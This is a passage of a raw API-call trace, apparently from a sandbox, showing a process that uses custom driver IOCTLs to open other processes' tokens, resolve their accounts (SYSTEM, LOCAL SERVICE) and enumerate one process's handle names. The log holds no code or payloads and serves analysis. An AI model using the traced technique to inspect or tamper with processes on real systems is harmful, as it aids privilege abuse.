TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.882] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.882] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.883] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.883] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.884] CloseHandle (hObject=0xc4) returned 1 [0081.884] CloseHandle (hObject=0xbc) returned 1 [0081.884] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xbc [0081.884] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.884] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0081.884] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.884] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x8a [0081.884] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.884] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.884] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.884] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.884] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.886] CloseHandle (hObject=0xc4) returned 1 [0081.886] CloseHandle (hObject=0xbc) returned 1 [0081.886] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c4) returned 0xbc [0081.886] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.886] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0081.886] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.886] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0081.886] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.886] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.886] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.886] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.886] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.887] CloseHandle (hObject=0xc4) returned 1 [0081.887] CloseHandle (hObject=0xbc) returned 1 [0081.888] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xbc [0081.888] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.888] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0081.888] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.888] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0081.888] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.888] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.888] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.888] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.888] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.889] CloseHandle (hObject=0xc4) returned 1 [0081.889] CloseHandle (hObject=0xbc) returned 1 [0081.889] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xbc [0081.889] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.889] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0081.889] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.889] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4c [0081.889] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.889] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.889] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.890] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.890] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.891] CloseHandle (hObject=0xc4) returned 1 [0081.891] CloseHandle (hObject=0xbc) returned 1 [0081.891] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.891] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0xc0, lpOverlapped=0x0) returned 1 [0081.891] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.891] PsAcquireProcessExitSynchronization () returned 0x0 [0081.891] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.891] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a001b7d8d0, HandleInformation=0x0) returned 0x0 [0081.891] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.891] PsReleaseProcessExitSynchronization () returned 0x2 [0081.891] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.891] ObQueryNameString (in: Object=0xfffff8a001b7d8d0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.891] ObfDereferenceObject (Object=0xfffff8a001b7d8d0) returned 0x1 [0081.891] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.891] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.891] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.891] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x1e, lpOverlapped=0x0) returned 1 [0081.891] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.891] PsAcquireProcessExitSynchronization () returned 0x0 [0081.891] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.891] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0004cdd40, HandleInformation=0x0) returned 0x0 [0081.892] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.892] PsReleaseProcessExitSynchronization () returned 0x2 [0081.892] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.892] ObQueryNameString (in: Object=0xfffff8a0004cdd40, ObjectNameInfo=0xfffffa80038547c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038547c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.892] ObfDereferenceObject (Object=0xfffff8a0004cdd40) returned 0x93 [0081.892] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.892] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.892] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.892] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0081.892] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.892] PsAcquireProcessExitSynchronization () returned 0x0 [0081.892] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.892] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0081.892] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.892] PsReleaseProcessExitSynchronization () returned 0x2 [0081.892] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.892] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005452508 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005452508) returned 0x0 [0081.892] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0081.892] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.892] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.892] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.892] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0081.892] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.892] PsAcquireProcessExitSynchronization () returned 0x0 [0081.892] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.892] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0015f6b10, HandleInformation=0x0) returned 0x0 [0081.892] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.892] PsReleaseProcessExitSynchronization () returned 0x2 [0081.892] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.892] ObQueryNameString (in: Object=0xfffff8a0015f6b10, ObjectNameInfo=0xfffffa8003083344, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003083344, ReturnLength=0xfffff88005452550) returned 0x0 [0081.892] ObfDereferenceObject (Object=0xfffff8a0015f6b10) returned 0x1 [0081.892] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.892] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.892] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.892] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0081.893] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.893] PsAcquireProcessExitSynchronization () returned 0x0 [0081.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.893] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0019df9c0, HandleInformation=0x0) returned 0x0 [0081.893] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.893] PsReleaseProcessExitSynchronization () returned 0x2 [0081.893] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.893] ObQueryNameString (in: Object=0xfffff8a0019df9c0, ObjectNameInfo=0xfffffa8003956044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003956044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.893] ObfDereferenceObject (Object=0xfffff8a0019df9c0) returned 0x1 [0081.893] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.893] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.893] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.893] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.893] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.893] PsAcquireProcessExitSynchronization () returned 0x0 [0081.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.893] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800312a4a0, HandleInformation=0x0) returned 0x0 [0081.893] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.893] PsReleaseProcessExitSynchronization () returned 0x2 [0081.893] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.893] ObQueryNameString (in: Object=0xfffffa800312a4a0, ObjectNameInfo=0xfffffa800394c044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800394c044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.893] ObfDereferenceObject (Object=0xfffffa800312a4a0) returned 0x3 [0081.893] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.893] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.893] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.893] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.893] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.893] PsAcquireProcessExitSynchronization () returned 0x0 [0081.893] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.893] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800b0cd200, HandleInformation=0x0) returned 0x0 [0081.893] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.893] PsReleaseProcessExitSynchronization () returned 0x2 [0081.893] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.893] ObQueryNameString (in: Object=0xfffffa800b0cd200, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.893] ObfDereferenceObject (Object=0xfffffa800b0cd200) returned 0x1 [0081.894] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.894] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.894] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.894] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.894] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.894] PsAcquireProcessExitSynchronization () returned 0x0 [0081.894] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.894] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80032c2e80, HandleInformation=0x0) returned 0x0 [0081.894] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.894] PsReleaseProcessExitSynchronization () returned 0x2 [0081.894] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.894] ObQueryNameString (in: Object=0xfffffa80032c2e80, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.894] ObfDereferenceObject (Object=0xfffffa80032c2e80) returned 0x2 [0081.894] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.894] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.894] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.894] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0081.894] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.894] PsAcquireProcessExitSynchronization () returned 0x0 [0081.894] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.894] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003101a60, HandleInformation=0x0) returned 0x0 [0081.894] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.894] PsReleaseProcessExitSynchronization () returned 0x2 [0081.894] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.894] ObQueryNameString (in: Object=0xfffffa8003101a60, ObjectNameInfo=0xfffffa8003915044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003915044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.894] ObfDereferenceObject (Object=0xfffffa8003101a60) returned 0x15 [0081.894] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.894] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.894] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.894] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0081.894] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.894] PsAcquireProcessExitSynchronization () returned 0x0 [0081.894] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.894] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80031018f0, HandleInformation=0x0) returned 0x0 [0081.894] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.895] PsReleaseProcessExitSynchronization () returned 0x2 [0081.895] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.895] ObQueryNameString (in: Object=0xfffffa80031018f0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.895] ObfDereferenceObject (Object=0xfffffa80031018f0) returned 0x48 [0081.895] IofCompleteRequest 